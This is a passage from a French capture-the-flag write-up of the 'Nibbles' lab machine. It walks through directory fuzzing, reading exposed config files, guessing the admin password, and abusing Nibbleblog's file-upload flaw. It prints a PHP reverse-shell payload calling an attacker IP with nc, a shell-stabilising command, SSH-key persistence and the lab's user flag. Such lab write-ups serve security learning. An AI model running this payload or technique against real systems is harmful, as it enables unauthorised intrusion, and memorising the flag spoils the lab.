de la situation. On peux voir certaines technologies utilisées comme : PHP, HTML5, JQuery, et Nibbleblog, un moteur de blog gratuit développé en PHP. Sur l'onglet /nibbleblog ou dans le code source une page de blog classique rien de particulier.

- Sur google ou un autre moteur de recherche on cherche des quelquonques vulnérabilités associées à nibbleblog on apprend que il y a une vulnérabilité de téléversement de fichier pour la version 4.0.3 cet vulnérabilité nécessite d'être identifié en analysant la poc on voit que c'est bien l'utilisateur qui fournit le nom d'utilisateur et le mot de passe et que la requête de connexion est envoyée à l'adresse /admin.php.

- On a bien une page de connexion à cette adresse mais aucun identifiant par défault ou commun ne fonctionne une simple recherche google nous apprend qu'il n'y pas de crédentials par défault pour cette technologie. De plus la requête de réinitialisation de mot de passe renvoie une erreur email et un blockage "blacklist" du pannel de connexion.

- On lance un fuzzing de repertoire avec gobuster et une wordliste commune, `gobuster dir -u http://ip/nibbleblog -w /usr/share/seclists/Discovery/Web-Content/common.txt` on a plusieurs resultat dont une adresse /content avec un code de retour [301] sur cet endpoint on voit que le listage des repertoires est activé en navigant tour à tour sur /private/users.xml et/private/config.xml on obtient deux données interessante, un nom d'utilisateur : admin et un email qui semble le confirmer : admin@nibble.htb. Pour recuperer en ligne de commande et bien formater ces fichier on peu faire un curl -s ou silencieux et piper la la sortie pour xmllint `| xmllint --format -`

- A ce stade on a un nom d'utilisateur un panel de login pas de mot de passe et une protection blacklist à partir de 5 tentatives de connexion (Un bruteforce avec un outil comme hydra est impossible).

- On a aussi un repertoire /README qui confirme que la version de nibbleblog est la 4.0.3 soit celle vulnérable au téléversement de fichier

- Le titre du fichier de configuration indiquait nibbles et l'adresse mail aussi on peut donc essayer le login avec les identifiants admin : nibbles et on arrive bien a se connecter preuve qu'une bonne énumeration prend en compte tout les détails.

Prise de Control Initiale (Foothold)

Maintenant que nous nous sommes connecter au panel d'administration nous devons essayer de transformer cet accès en exécution de code et à terme d'obtenir un reverseshell sur la machine.

- On commence par faire une reconnaissance manuelle de ce panel afin de connaitre toute les données potentiellement interessante qui s'y trouve mais aussi les fonctionnalités - On découvre une fonction plugins qui permet de téleverser des images d'installer ou désinstaller des plugins. Essayons d'utiliser ce plugins pour téleverser un extrait de code PHP plutot qu'une image. Dans ce fichier mettons une commande system de base pour tester ou directement le reverseshell une ligne de payload all the things : `<?php system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_IP> <listenerport> >/tmp/f"); ?>` - De nombreuses erreurs apparaissent lors de l'upload mais le fichier semble bien téléverser on doit maintenant trouver un moyen de ce rendre dessus pour l'exécuter. En retournant sur /content et en navigant vers /private/uploads/my_image/image.php on retrouve et fais exécuter notre fichier PHP, on récupère alors notre connexion sur le listenner avec le port spécifié, et on a un shell en tant qu'utilisateur nibbler on peux le stabiliser avec `python3 -c 'import pty; pty.spawn("/bin/bash")'` et en navigant sur /home/nibbler on à accès au flag utilisateur de la machine nibble : `79c03865431abf47b30ef24b99695e148`

- Notre accès initiale étant confirmer on peu par sureté ajouter notre clé SSH pour cet utilisateur, et maintenant il va falloir élever nos privilèges pour passer "root".